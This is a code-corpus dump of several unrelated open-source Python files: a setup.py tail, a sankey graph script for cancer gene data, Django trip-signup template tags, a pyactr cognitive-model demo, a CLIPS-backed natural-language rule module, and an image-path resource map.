Python :: 2.7", "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", "Operating System :: OS Independent", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Topic :: Software Development :: Libraries :: Python Modules", "Topic :: Utilities", "Topic :: Software Development :: User Interfaces", ], )
mhcrnl/pygubu
setup.py
Python
gpl-3.0
4,877
from optparse import OptionParser import pandas as pd def firma_molecular_graph(fm): data = [] for i, row in fm.iterrows(): data.append({ "source": row["fm"], "target": row["fm_gene"], "value": 1}) return data def signature_graph(genes): data = [] for i, row in genes.iterrows(): data.append({ "source": row["gene"], "target": str(abs(row["value"])), "value": 1}) return data def run(): from sankey import Sankey df = pd.read_csv(filepath_or_buffer="rdb_sankeys/lumb_rdb_regulon.sif", sep='\t') df_genes = pd.read_csv(filepath_or_buffer="rdb_sankeys/lumb_rdb_signature.txt", sep='\t') base = df[df["fm"].isin(df["fm_gene"])] universe1 = set((r["fm"] for i, r in base.iterrows())) universe2 = set(r["gene"] for i, r in df_genes.iterrows()) universe3 = set(str(abs(r["value"])) for i, r in df_genes.iterrows()) universe1_1 = set((r["fm_gene"] for i, r in base.iterrows())) sankey = Sankey() sankey.add_universe(universe1) sankey.add_universe(universe2) sankey.add_universe(universe3) sankey.add_universe(universe1_1) sankey.add_pipeline(firma_molecular_graph(base)) sankey.add_pipeline(signature_graph(df_genes)) last = set([sankey.universe_index[e] for e in universe3]) def only_paths_of_size(paths, length=3): return [edges for edges in paths if edges[-1] in last and len(edges) == length] paths = sankey.paths(base["fm"], only_paths_of_size) sankey.json(paths, name="sankey2.json") if __name__ == '__main__': run()
elaeon/breast_cancer_networks
sankey/script2.py
Python
gpl-3.0
1,634
from itertools import chain from django import template from django.db.models import Q from django.forms import HiddenInput import ws.utils.perms as perm_utils from ws import models from ws.enums import Program, TripType from ws.forms import SignUpForm from ws.mixins import LotteryPairingMixin from ws.utils.dates import local_date from ws.utils.membership import reasons_cannot_attend register = template.Library() @register.filter def missed_lectures_for(participant, trip): if not participant: # They are either not logged in or have not yet created a participant # We handle both cases already return False return participant.missed_lectures_for(trip) @register.filter def should_renew_for(participant, trip): """NOTE: This uses the cache, should only be called if cache was updated.""" return participant.should_renew_for(trip) @register.filter def membership_active(participant): """NOTE: This uses the cache, should only be called if cache was updated.""" return participant.membership_active def leader_signup_is_allowed(trip, participant): """Determine whether or not to display the leader signup form. Note: This is not validation - the user's ultimate ability to sign up by a leader is determined by the logic in the models and views. """ if not (participant and participant.is_leader): return False trip_upcoming = local_date() <= trip.trip_date return ( trip_upcoming and trip.allow_leader_signups and participant.can_lead(trip.program_enum) ) @register.inclusion_tag('for_templatetags/pairing_info.html') def pairing_info(participant, user_viewing: bool = True, show_title: bool = False): lotto = LotteryPairingMixin() lotto.participant = participant paired_par = lotto.paired_par pair_requests = lotto.pair_requests.order_by('name') # If paired with X, we don't want to say "X requested to be paired with you" if paired_par: pair_requests = pair_requests.exclude(pk=paired_par.pk) return { 'participant': participant, 'show_title': show_title, 'user_viewing': user_viewing, 'reciprocally_paired': lotto.reciprocally_paired, 'paired_par': paired_par, 'pair_requests': pair_requests, } @register.inclusion_tag('for_templatetags/signup_for_trip.html', takes_context=True) def signup_for_trip(context, trip, participant, existing_signup): """Display the appropriate signup controls for a given trip. Signups are forbidden in a number of cases (trip already happened, signups aren't open yet, et cetera). There are a number of special cases where signups might be allowed anyway (e.g. the participant is a MITOC leader). This tag displays the appropriate controls to the viewing participant. """ context = { 'user': context['user'], 'trip': trip, 'participant': participant, 'existing_signup': existing_signup, 'leader_signup_allowed': leader_signup_is_allowed(trip, participant), } if trip.signups_open or context['leader_signup_allowed']: context['signup_form'] = SignUpForm(initial={'trip': trip}) context['signup_form'].fields['trip'].widget = HiddenInput() return context @register.inclusion_tag('for_templatetags/signup_modes/anonymous_signup.html') def anonymous_signup(trip): """What to display in the signup section for anonymous users.""" return {'trip': trip} @register.inclusion_tag('for_templatetags/signup_modes/already_signed_up.html') def already_signed_up(trip, signup): """What to display in the signup section when a SignUp object exists.""" return {'trip': trip, 'existing_signup': signup} def _same_day_trips(participant, trip): """Return other trips this participant is on that take place on the same day.""" if participant is None: return None signup_on_trip = Q(signup__participant=participant, signup__on_trip=True) return ( models.Trip.objects.filter() .filter(trip_date=trip.trip_date) .filter(Q(leaders=participant) | signup_on_trip) # It shouldn't be possible for this template to be rendered if the viewer # is a leader or a participant on this trip. Cover it anyway. .exclude(pk=trip.pk) .distinct() ) @register.inclusion_tag('for_templatetags/signup_modes/signups_open.html') def signups_open(user, participant, trip, signup_form, leader_signup_allowed): """What to display when signups are open for a trip.""" return { 'user': user, 'trip': trip, 'same_day_trips': _same_day_trips(participant, trip), 'reasons_cannot_attend': list(reasons_cannot_attend(user, trip)), 'signup_form': signup_form, 'leader_signup_allowed': leader_signup_allowed, } @register.inclusion_tag('for_templatetags/how_to_attend_trip.html') def how_to_attend(trip, trip_inelegibility_reasons, user): """Display messages instructing the user how they can attend this trip.""" return { 'user': user, 'show_membership_status': any( reason.related_to_membership for reason in trip_inelegibility_reasons ), 'how_to_fix_messages': [ reason.how_to_fix_for(trip) for reason in trip_inelegibility_reasons ], } @register.inclusion_tag('for_templatetags/signup_modes/not_yet_open.html') def not_yet_open(user, trip, signup_form, leader_signup_allowed): """What to display in the signup section when trip signups aren't open (yet).""" return { 'trip': trip, 'reasons_cannot_attend': list(reasons_cannot_attend(user, trip)), 'signup_form': signup_form, 'leader_signup_allowed': leader_signup_allowed, } @register.inclusion_tag('for_templatetags/drop_off_trip.html') def drop_off_trip(trip, existing_signup): return {'trip': trip, 'existing_signup': existing_signup} @register.inclusion_tag('for_templatetags/signup_table.html') def signup_table(signups, has_notes=False, show_drivers=False, all_participants=None): """Display a table of signups (either leaders or participants). The all_participants argument is especially useful for including leaders who do not have a signup object associated with them (e.g. the people who created the trip, or a chair who added themselves directly by editing the trip) """ # If there are participants not included in the signup list, put these # participants in the front of the list if all_participants: signed_up = {signup.participant.id for signup in signups} no_signup = all_participants.exclude(id__in=signed_up) fake_signups = [{'participant': leader} for leader in no_signup] signups = chain(fake_signups, signups) return {'signups': signups, 'has_notes': has_notes, 'show_drivers': show_drivers} @register.inclusion_tag('for_templatetags/trip_summary.html', takes_context=True) def trip_summary(context, trip): return { 'show_contacts': context['user'].is_authenticated, 'show_email_box': perm_utils.is_chair( context['user'], trip.required_activity_enum(), allow_superusers=False, ), 'show_program': trip.program_enum != Program.NONE, 'show_trip_type': trip.trip_type_enum != TripType.NONE, 'trip': trip, } @register.inclusion_tag('for_templatetags/medical_table.html') def medical_table(participants, hide_sensitive_info=False): return {'participants': participants, 'hide_sensitive_info': hide_sensitive_info} @register.inclusion_tag('for_templatetags/driver_table.html') def driver_table(cars): return {'cars': cars} @register.inclusion_tag('for_templatetags/not_on_trip.html') def not_on_trip(trip, signups_on_trip, signups_off_trip, display_notes): """Display a table of participants who're not on the given trip. Handles displaying all participants who were: 1. Interested in a lottery trip 2. Not given a slot on a FCFS trip or its waiting list """ display_table = signups_on_trip or signups_off_trip # If all signups were placed on the trip, no sense displaying this table if trip.algorithm == 'fcfs' and not signups_off_trip: display_table = False return { 'trip': trip, 'signups_on_trip': signups_on_trip, 'signups_off_trip': signups_off_trip, 'display_table': display_table, 'display_notes': display_notes, }
DavidCain/mitoc-trips
ws/templatetags/signup_tags.py
Python
gpl-3.0
8,567
""" Demo - pressing a key by ACT-R model. It corresponds to 'demo2' in Lisp ACT-R, unit 2. """ import string import random import warnings import tkinter as tk #delete later import pyactr as actr stimulus = random.sample(string.ascii_uppercase, 1)[0] text = {1: {'text': stimulus, 'position': (100,100)}} environ = actr.Environment(focus_position=(100,100)) m = actr.ACTRModel(environment=environ, motor_prepared=True) actr.chunktype("chunk", "value") actr.chunktype("read", "state") actr.chunktype("image", "img") actr.makechunk(nameofchunk="start", typename="chunk", value="start") actr.makechunk(nameofchunk="start", typename="chunk", value="start") actr.makechunk(nameofchunk="attend_let", typename="chunk", value="attend_let") actr.makechunk(nameofchunk="response", typename="chunk", value="response") actr.makechunk(nameofchunk="done", typename="chunk", value="done") m.goal.add(actr.chunkstring(name="reading", string=""" isa read state start""")) g2 = m.set_goal("g2") g2.delay = 0.2 t2 = m.productionstring(name="encode_letter", string=""" =g> isa read state start =visual> isa _visual value =letter ==> =g> isa read state response +g2> isa image img =letter""") m.productionstring(name="respond", string=""" =g> isa read state response =g2> isa image img =letter ?manual> state free ==> =g> isa read state done +manual> isa _manual cmd 'press_key' key =letter""") if __name__ == "__main__": sim = m.simulation(realtime=True, environment_process=environ.environment_process, stimuli=text, triggers=stimulus, times=1) sim.run(1)
jakdot/pyactr
tutorials/u2_demo.py
Python
gpl-3.0
1,867
# -*- coding: utf-8 -*- # Copyright (c) 2007-2012 by Enrique Pérez Arnaud <enriquepablo@gmail.com> # # This file is part of nlproject. # # The nlproject is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # The nlproject is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with any part of the nlproject. # If not, see <http://www.gnu.org/licenses/>. import re import uuid import clips from nl.log import logger from nl import utils from nl.clps import class_constraint # marker object _m = [] classpat = re.compile(r'^[A-Z][a-z_]+$') class Word(type): """ When Namable is extended, __init__ adds 1 defclass to clips creating a subclass of Namable. And registers the class in utils.subclasses. If utils.varpat matches the classname, however, __new__ builds a ClassVar intance and returns it, thus bypassing __init__. In that case, bases can be a subclass of Exists or Thing. """ def __new__(cls, classname, bases=None, newdict=None): if utils.varpat.match(classname): if bases: return ClassVar(classname, bases) elif getattr(cls, 'cls', False): return ClassVar(classname, cls.cls) return ClassVar(classname, utils.get_class('Namable')) if not classpat.match(classname): raise ValueError('Ilegal name for class: ' + classname) cls.value = '' return super(Word, cls).__new__(cls, classname, bases, newdict) def __init__(cls, classname, bases, newdict, clp=''): super(Word, cls).__init__(classname, bases, newdict) if clp: logger.info(clp) clips.Build(clp) utils.register(classname, cls) def clsput(self, vrs, ancestor=None, mod_path=None): ''' return clips snippet to be used when the class is the subject in a fact or a mod in a predicate and the sentence is being asserted or is in the head of a rule. Also when the class is used as subject of a fact in the tail of a rule. ''' return self.__name__ def tonl_cls(self): ''' ''' return self.__name__.lower() def get_constraint_cls(self, vrs, ancestor, mod_path): ''' return clips snippet to be used when the class is a mod in a predicate and the sentence is in the tail of a rule. ''' return '&:%s' % self.get_query_cls(vrs, ancestor, mod_path)[0] def get_query_cls(self, vrs, ancestor, mod_path): ci = utils.clips_instance(ancestor, mod_path) return ['(eq %s %s)' % (self.__name__, ci)] def get_isc_cls(self, queries, vrs, ancestor, mod_path): """ build clips snippet to be used when the class is the subject in a fact or a mod in a predicate and the sentence is in a query. return (instance-set templates, instance-set queries) """ q = self.get_query_cls(vrs, ancestor, mod_path) queries += q @classmethod def from_clips(cls, instance): ''' build nl instance starting from a clips instance or instance name ''' if not isinstance(instance, clips._clips_wrap.Class): instance = clips.FindClass(instance) clsname = str(instance.Name) return utils.get_class(clsname) utils.register('Word', Word) class ClassVar(object): ''' Used in rules, in the head or tail, as subject or mod in a predicate, when Word is called with a string that matches varpat. Intances can be called, and give back an instance of ClassVarVar, that can handle clips for the case in which we have both the class and the name or mods as variables. This is not to be part of the public api ''' def __init__(self, var, cls): self.value = var self.cls = cls self.ob = self.cls(self.value) def __call__(self, var='', **kwargs): if isinstance(var, basestring) and utils.varpat.match(var): return ClassVarVar(self.value, self.cls, var, **kwargs) if issubclass(self.cls, utils.get_class('Exists')): return self.cls(var, _clsvar=self.value, **kwargs) return self.cls(var, **kwargs) def get_constraint(self, vrs, ancestor, mod_path): ''' return clips snippet to be used when the class var is a mod in a predicate and the sentence is in the tail of a rule. ''' constraint = self.get_query(vrs, ancestor, mod_path) if not constraint: return '' return '&:%s' % '&:'.join(constraint) def get_query(self, vrs, ancestor, mod_path): ci = utils.clips_instance(ancestor, mod_path) if self.value in vrs: return self.ob.get_query(vrs, ancestor, mod_path) else: vrs[self.value] = (ancestor, mod_path) return ['''(or (eq %(ci)s %(cls)s) (subclassp %(ci)s %(cls)s))''' % { 'ci': ci, 'cls': self.cls.__name__}] def get_slot_constraint(self, vrs): """ return clips snippet to be used when the class var is predicate or subject and the sentence is in the tail of a rule. """ if self.value in vrs: return self.ob.get_var_slot_constraint(vrs, self.value) else: vrs[self.value] = () return '''?%(cvar)s&:(or (eq ?%(cvar)s %(cls)s) subclassp ?%(cvar)s %(cls)s)''' % { 'cvar': self.value, 'cls': self.cls.__name__} def get_isc(self, queries, vrs, ancestor, mod_path): """ build clips snippet to be used when the class var is the subject in a fact or a mod in a predicate and the sentence is in a query. return (instance-set templates, instance-set queries) """ q = self.get_query(vrs, ancestor, mod_path) queries += q def put(self, vrs): # a hack return self.cls(self.value).put(vrs) def tonl(self): return self.value class ClassVarVar(object): ''' Intances of ClasVar can be called, and give back an instance of ClassVarVar, that can handle clips for the case in which we have both the class and the name or mods as variables. This is not to be part of the public api ''' def __init__(self, clsvar, cls, var, **kwargs): self.value = var self.clsvar = clsvar self.cls = cls self.ob = cls(var, _clsvar=clsvar, **kwargs) def get_constraint(self, vrs, ancestor, mod_path): ''' return clips snippet to be used when the variable is a mod in a predicate and the sentence is in the tail of a rule. ''' constraint = self.get_query(vrs, ancestor, mod_path) if not constraint: return '' return '&:%s' % '&:'.join(constraint) def get_query(self, vrs, ancestor, mod_path): ci = utils.clips_instance(ancestor, mod_path) constraint = [] if not self.value or self.value in vrs: if self.clsvar and self.clsvar not in vrs: if vrs[self.value]: vrs[self.clsvar] = ( utils.clips_instance(*(vrs[self.value])), [], ['class']) else: vrs[self.clsvar] = (ancestor, mod_path, ['class']) return self.ob.get_query(vrs, ancestor, mod_path) else: vrs[self.value] = (ancestor, mod_path) if self.clsvar in vrs: if vrs[self.clsvar]: return ['(eq (class %(var)s) %(cls)s)' % { 'var': ci, 'cls': utils.clips_instance(*(vrs[self.clsvar]))}] else: return ['(eq (class %(var)s) %(cls)s)' % { 'var': ci, 'cls': self.clsvar}] vrs[self.clsvar] = (ancestor, mod_path, ['class']) return ['''(or (eq (class %(ci)s) %(cls)s) (subclassp (class %(ci)s) %(cls)s))''' % { 'ci': ci, 'cls': self.cls.__name__}] def get_slot_constraint(self, vrs): """ return clips snippet to be used when the variable is predicate or subject and the sentence is in the tail of a rule. In case we are a Noun: In case we are a Verb: * in case the clsvar is vrs but not the var: * in case XXX dos cosas: aquí: (logical (object (is-a Fact) (subject ?P1&:(or (eq (class ?P1) Person) (subclassp (class ?P1) Person))) (predicate ?Y10&:(or (eq (class ?Y10) WfAction) (subclassp (class ?Y10) WfAction))&:(eq (send ?Y10 get-what) ?C1)) (time ?I1) (truth 1))) (logical (object (is-a Fact) (subject ?C1&:(eq ?C1 (send ?Y10 get-what))) se repite (eq ?C1 (send ?Y10 get-what)) otra cosa: tanto en ClassVar como en ClassVarVar, al hacer get_slot_constraint (NO he mirado get_constraint, pero será igual) no se toma en cuanta cuando clsvar es var y está en vrs. ClassVar lo tiene que hacer es, en __call__, si no se le llama con una variable sino con argumantos, y es un verbo (en el caso de una cosa da igual, está unívocamente determinada por el nombre propio), tiene que pasar el clsvar para que verb lo tenga en cuenta cuando haga get_slot constraint (y posiblemente los demás) ClassVarVar lo tiene que tener en cuenta en get_slot_constraint cuando self value está en vrs, entonces tiene que pasarlo a self ob para que lo tenga en cuenta en get_var_slot_constraint HAY QUE PONERSELO TB A THING, TODO LO DEL _CLSVAR """ if self.value in vrs: if self.clsvar and self.clsvar not in vrs: if vrs[self.value]: vrs[self.clsvar] = ( utils.clips_instance(*(vrs[self.value])), [], ['class']) else: vrs[self.clsvar] = (self.value, [], ['class']) return self.ob.get_var_slot_constraint(vrs, self.value) else: vrs[self.value] = () if self.clsvar in vrs: if vrs[self.clsvar]: return '?%(var)s&:(eq (class ?%(var)s) %(cls)s)' % { 'var': self.value, 'cls': utils.clips_instance(*(vrs[self.clsvar]))} else: return '?%(var)s&:(eq (class ?%(var)s) %(cls)s)' % { 'var': self.value, 'cls': self.clsvar} vrs[self.clsvar] = (self.value, [], ['class']) return '''?%(var)s&:(or (eq (class ?%(var)s) %(cls)s) (subclassp (class ?%(var)s) %(cls)s))''' % { 'var': self.value, 'cls': self.cls.__name__} def put(self, vrs): return self.ob.put(vrs) def get_isc(self, queries, vrs, ancestor, mod_path): """ get instance-set condition; return (instance-set templates, instance-set queries) """ q = self.get_query(vrs, ancestor, mod_path) queries += q def tonl(self): if self.value: if issubclass(self.cls, utils.get_class('Exists')): return '[%s %s]' % (self.clsvar, self.value) return '%s(%s)' % (self.value, self.clsvar) return self.ob.tonl() class Subword(object): ''' Instantiated with two subclasses of Namable, Or of ClassVar created with Word(var), it can be used as a premise in a rule. ''' def __init__(self, sub, sup): self.sub = sub self.sup = sup def get_ce(self, vrs): ''' ''' sub = getattr(self.sub, 'clsput', self.sub.put)(vrs) sup = getattr(self.sup, 'clsput', self.sup.put)(vrs) return ''' (test (or (eq %(sub)s %(sup)s) (subclassp %(sub)s %(sup)s))) ''' % {'sub': sub, 'sup': sup} def sen_tonl(self): return '%s subwordof %s' % (getattr(self.sub, 'tonl_cls', self.sub.tonl)(), getattr(self.sup, 'tonl_cls', self.sup.tonl)()) class Noun(Word): """ When Thing is extended, this adds 1 defclass to clips creating a subclass of Namable. And registers the class in utils.subclasses. If utils.varpat matches classname, it sets cls to Thing so that Word.__new__ can return the right ClassVar, unless bases is a Thing subclass. """ def __new__(cls, classname, bases=None, newdict=None): if utils.varpat.match(classname) and not bases: cls.cls = utils.get_class('Thing') return Word.__new__(cls, classname, bases, newdict) def __init__(cls, classname, bases, newdict): parents = ' '.join([base.__name__ for base in bases]) clp = '(defclass %s (is-a %s))' % (classname, parents) if classname != 'Thing': utils.to_history('%s are %s.' % (classname.lower(), parents.lower().replace(' ', ', '))) super(Noun, cls).__init__(classname, bases, newdict, clp=clp) utils.register('Noun', Noun) class Verb(Word): """ When Exists is extended, this adds 1 defclass to clips creating a subclass of Namable. And registers the class in utils.subclasses. The new class mods dictionary is also initialized with the given mods and the mods of all its bases. If utils.varpat matches classname, it sets cls to Exists so that Word.__new__ can return the right ClassVar, unless bases is a Exists subclass. """ def __new__(cls, classname, bases=None, newdict=None): if utils.varpat.match(classname) and not bases: cls.cls = utils.get_class('Exists') return Word.__new__(cls, classname, bases, newdict) def __init__(cls, classname, bases, newdict): if classname == 'Exists': # due to the ordering of things in clps.py utils.register(classname, cls) return slots = ['(slot %s (type %s) (visibility public) (pattern-match reactive))' % (mod, issubclass(utils.get_class(modclass), Number) and \ 'NUMBER' or 'INSTANCE') for mod,modclass in cls.mods.items()] slots = ' '.join(slots) parents = ' '.join([base.__name__ for base in bases]) clp = '(defclass %s (is-a %s) %s)' % (classname, parents, slots) for mod,modclass in cls.mods.items(): if isinstance(modclass, type): cls.mods[mod] = modclass.__name__ modification = ['%s a %s' % (mod, modclass.lower()) for mod, modclass in cls.mods.items()] verb_def = '%s is %s withsubject %s' % (classname.lower(), parents.lower().replace(' ', ', '), cls.subject.__name__.lower()) if modification: verb_def += ' andcanbe ' + ', '.join(modification) verb_def += '.' utils.to_history(verb_def) for kls in bases: if getattr(kls, 'mods', False): cls.mods.update(kls.mods) super(Verb, cls).__init__(classname, bases, newdict, clp=clp) utils.register('Verb', Verb) class Namable(object): """ abstract class ancestor of all excluding the metawords. """ __metaclass__ = Word @classmethod def from_clips(cls, instance): if not isinstance(instance, clips._clips_wrap.Instance): instance = clips.FindInstance(instance) clsname = str(instance.Class.Name) cls = utils.get_class(clsname) if clsname == 'Namable': return cls(str(instance)) else: return cls.from_clips(instance) def get_var_constraint(self, vrs, ancestor, mod_path, ci): return '&:%s' % self.get_var_query(vrs, ancestor, mod_path, ci) def get_var_query(self, vrs, ancestor, mod_path, ci): constraint = '' if self.value in vrs: if vrs[self.value]: v_ci = utils.clips_instance(*(vrs[self.value])) constraint = '(eq %s %s)' % (v_ci, ci) else: constraint = '(eq %s ?%s)' % (ci, self.value) elif not isinstance(self, Number): constraint = '(or (eq (class %(ci)s) %(cls)s) (subclassp (class %(ci)s) %(cls)s))' % {'ci': ci, 'cls': self.__class__.__name__} vrs[self.value] = (ancestor, mod_path) return constraint def get_var_slot_constraint(self, vrs, val): if self.value in vrs: if vrs[self.value]: return '?%(val)s&:(eq ?%(val)s %(var)s)' % {'val': val, 'var': utils.clips_instance(*(vrs[self.value]))} else: return '?%s' % self.value else: vrs[self.value]= () return class_constraint % {'val': self.value, 'cls': self.__class__.__name__} def put_var(self, vrs): if self.value in vrs and vrs[self.value]: return utils.clips_instance(*(vrs[self.value])) return '?%s' % self.value def sen_tonl(self): return 'FromSenToNlNamable' def tonl(self, from_duration=False): return 'FromNlNamable' class Arith_safe_time(Namable): pass class Number(Namable): """ A number or an arithmetic operation. As value it can take a number, a str(number), a string containing a single arithmetic operator, within ['+', '-', '*', '/', '**'] or a string with an arithmetic operation of the form '(<op> <arg1> <arg2>)' where op is one of the operators and arg can be a number or another operation. If the value is an operator, the args are either instances of Number, or strings to be converted in such instances. Within rules, variables can take the place of value, any of the args, or in the value in the position of numbers when it is a string representing an operation. """ def __init__(self, value, arg1='', arg2=''): if isinstance(value, Number): self.value, self.arg1, self.arg2 = value.value, value.arg1, value.arg2 else: self.arg1 = str(arg1) self.arg2 = str(arg2) try: self.value = str(float(value)) except (ValueError, TypeError): if value[0] == '(': args = utils.parens(value) self.value = args[0] self.arg1 = Number(args[1]) self.arg2 = Number(args[2]) else: self.value = value if self.arg1 != '': self.arg1 = Number(arg1) if self.arg2 != '': self.arg2 = Number(arg2) @classmethod def from_clips(cls, instance): return Number(instance) def _get_number(self, vrs): """ """ if utils.varpat.match(str(self.value)): return self.put_var(vrs) try: return str(float(self.value)) except ValueError: arg1 = self.arg1 != '' and self.arg1._get_number(vrs) or '' arg2 = self.arg2 != '' and self.arg2._get_number(vrs) or '' return '(%s %s %s)' % (self.value, arg1, arg2) def get_slot_constraint(self, vrs): return self._get_number(vrs) def get_constraint(self, vrs, ancestor, mod_path): constraint = self.get_query(vrs, ancestor, mod_path) if not constraint: return '' return '&:%s' % '&:'.join(constraint) def get_query(self, vrs, ancestor, mod_path): ci = utils.clips_instance(ancestor, mod_path) if utils.varpat.match(self.value): constraint = self.get_var_query(vrs, ancestor, mod_path, ci) else: constraint = '(eq %s %s)' % (ci, self.get_slot_constraint(vrs)) if constraint: return [constraint] else: return [] def put(self, vrs): return self._get_number(vrs) def get_isc(self, queries, vrs, ancestor, mod_path): """ get instance-set condition; return (instance-set templates, instance-set queries) """ q = self.get_query(vrs, ancestor, mod_path) queries += q def __str__(self): return self._get_number({}) def tonl(self): """ """ if utils.varpat.match(self.value): return utils.var_tonl(self) try: return str(float(self.value)) except ValueError: arg1 = self.arg1 != '' and self.arg1._get_number({}) or '' arg2 = self.arg2 != '' and self.arg2._get_number({}) or '' return '(%s %s %s)' % (arg1, self.value, arg2) class Arith(Number): """ Arithmetic predicate. It has the same basic form as number except that value can only be, either a string with an arithmetic predicate symbol from ['=', '<=', '>=', '!=', '<', '>'], or a string with a predication of the same form as the strings for number, but with the outermost operator substituted for a predicate. Instances can only be used as premises in rules. """ def __init__(self, value, arg1='', arg2=''): if value[0] == '(': args = utils.parens(value) self.value = args[0] self.arg1 = Number(args[1]) self.arg2 = Number(args[2]) else: self.value = value if arg1 != '': self.arg1 = isinstance(arg1, Number) and arg1 or Number(arg1) if arg2 != '': self.arg2 = isinstance(arg2, Number) and arg2 or Number(arg2) def get_ce(self, vrs=None): arg1 = self.arg1.put(vrs) arg2 = self.arg2.put(vrs) return '(test (%s %s %s))' % (self.value, arg1, arg2) class Count_mixin(Namable): def s_get_slot_constraint(self, vrs, fun, reorder=False): ''' using the function count-in-sentences defined in clips, find out how many uniques the instance-set method from self.sen returns. ''' templs, queries = [], [] for unique in self.uniques: vrs[unique] = () for n, sentence in enumerate(self.sentences): sentence.get_ism(templs, queries, vrs, newvar='q%d' % n) if len(queries) > 1: q = '(and %s)' % ' '.join(queries) else: q = queries and queries[0] or 'TRUE' if reorder: rtempls = [] for n, templ in enumerate(templs): if templ[0] in self.uniques: rtempls = [templ] + rtempls else: rtempls.append(templ) templs = [len(self.uniques)] + rtempls clps = '(find-all-instances (%s) %s)' % \ (' '.join(['(?%s %s)' % templ for templ in templs]), q) return '(%s %s)' % (fun, clps) class Count(Count_mixin): """ to be used in rules wherever a number can be used, i.e., as a mod in the predicate of a fact used as condition or as consecuence; or as an argument in an arithmetic predicate. It is built with a sentence with any number of variables, and returns the number of sentences in the kb that match the given sentence. """ def __init__(self, *sentences): self.sentences = sentences def get_slot_constraint(self, vrs): ''' using the function count-sentences defined in clips, find out how many sentences the instance-set method from self.sen returns. ''' return self.s_get_slot_constraint(vrs, 'count-sentences') def put(self, vrs): pass def get_isc(self, templs, queries, vrs): pass class Unique_count(Count_mixin): """ to be used in rules wherever a number can be used, i.e., as a mod in the predicate of a fact used as condition or as consecuence; or as an argument in an arithmetic predicate. It is built with a iterable 'unique' of variable names, and a sentence with any number of variables, among which the previous ones are free, and returns the number of different matches of the iterable of variable names in sentences in the kb that match the given sentence. """ def __init__(self, uniques, *sentences): self.uniques = uniques self.sentences = sentences def get_slot_constraint(self, vrs): ''' using the function count-in-sentences defined in clips, find out how many uniques the instance-set method from self.sen returns. ''' for unique in self.uniques: vrs[unique] = () return self.s_get_slot_constraint(vrs, 'count-in-sentences') def put(self, vrs): pass def get_isc(self, templs, queries, vrs): pass class Max_count(Count_mixin): """ to be used in rules wherever a number can be used, i.e., as a mod in the predicate of a fact used as condition or as consecuence; or as an argument in an arithmetic predicate. It is built with a 'unique' variable name, and a sentence with any number of variables, among which the previous one is free, and returns the maximum number of matches that a single word makes with the distinguished variable among the sentences that match the given sentences. """ def __init__(self, uniques, *sentences): self.uniques = uniques self.sentences = sentences def get_slot_constraint(self, vrs): for unique in self.uniques: vrs[unique] = () return self.s_get_slot_constraint(vrs, 'max-count', reorder=True) class Min_count(Count_mixin): """ to be used in rules wherever a number can be used, i.e., as a mod in the predicate of a fact used as condition or as consecuence; or as an argument in an arithmetic predicate. It is built with a 'unique' variable name, and a sentence with any number of variables, among which the previous one is free, and returns the minimum number of matches that a single word makes with the distinguished variable among the sentences that match the given sentences. """ def __init__(self, uniques, *sentences): self.uniques = uniques self.sentences = sentences def get_slot_constraint(self, vrs): for unique in self.uniques: vrs[unique] = () return self.s_get_slot_constraint(vrs, 'min-count', reorder=True) class Not(Namable): """ negation by failure """ def __init__(self, sentence): self.sentence = sentence def get_ce(self, vrs=None): if vrs is None: vrs = [] return '(not %s)' % self.sentence.get_ce(vrs) class Bi_conn_mixin(Namable): """ Binary connective mixin """ def __init__(self, *sentences): self.sentences = sentences def _get_ce(self, vrs=None, conn='and'): if vrs is None: vrs = [] if len(self.sentences) > 1: sen = [s.get_ce(vrs) for s in self.sentences] return '(%s %s)' % (conn, ' '.join(sen)) return self.sentences[0].get_ce(vrs) class And(Bi_conn_mixin): """ Conjunction To be used as conditions in rules """ def get_ce(self, vrs=None): return self._get_ce(vrs) class Or(Bi_conn_mixin): """ Disjunction To be used as conditions in rules """ def get_ce(self, vrs=None): return self._get_ce(vrs, conn='or') class Distinct(Namable): def __init__(self, *args): self.args = args def get_ce(self, vrs=None): args = [arg.put(vrs) for arg in self.args] ineqs = [] while args: arg = args.pop() if args: ineqs.append('(neq %s %s)' % (arg, ' '.join(args))) if len(ineqs) == 1: return '(test %s)' % ' '.join(ineqs) elif len(ineqs) > 1: return '(test (and %s))' % ' '.join(ineqs) else: raise ValueError('not enough arguments for Distinct')
enriquepablo/nl
nl/metanl.py
Python
gpl-3.0
29,523
impath = "image\\" images = { "base" :{ "buttonCombat" : impath + "button_combat.png", "buttonEvent" : impath + "button_event.png", "buttonFormation" : impath + "button_formation.png", "iconMoreResource": impath + "icon_more_resource.png", "playerName" : impath + "player.png", "iconStore" : impath + "icon_store.png", }, "combat": { "text" : impath + "combat_text.png", "iconGK" : impath + "combat_icon_GK.png", "difficultyNormal": impath + "combat_difficulty_normal.png", "ep1Selected" : impath + "combat_ep1_sel.png", "buttonReturn" : impath + "button_return_to_base.png", "buttonBattle1-2" : impath + "button_battle1_2.png" }, "combatSetting": { "title" : impath + "combat_setting.png", "buttonAutoCombat" : impath + "button_auto_combat.png", "buttonNormalCombat": impath + "button_normal_combat.png", "text" : impath + "combat_text_xp.png", }, "autoCombatSetting": { "title" : impath + "text_team_selection.png", "infoText" : impath + "auto_confirm_gain_text.png", "confirm" : impath + "button_confirm_auto.png", "emptySlot" : impath + "empty_selection.png", }, "TeamSelection": { "title" : impath + "team_selection_text.png", "cancelConfirm" : impath + "button_cancel_confirm.png", "tag2" : impath + "team2_tag_notSelected.png", "tag2Selected" : impath + "team2_tag_selected.png", } }
tripack45/GirlsFrontline-Assistant
resource/__init__.py
Python
gpl-3.0
1,647
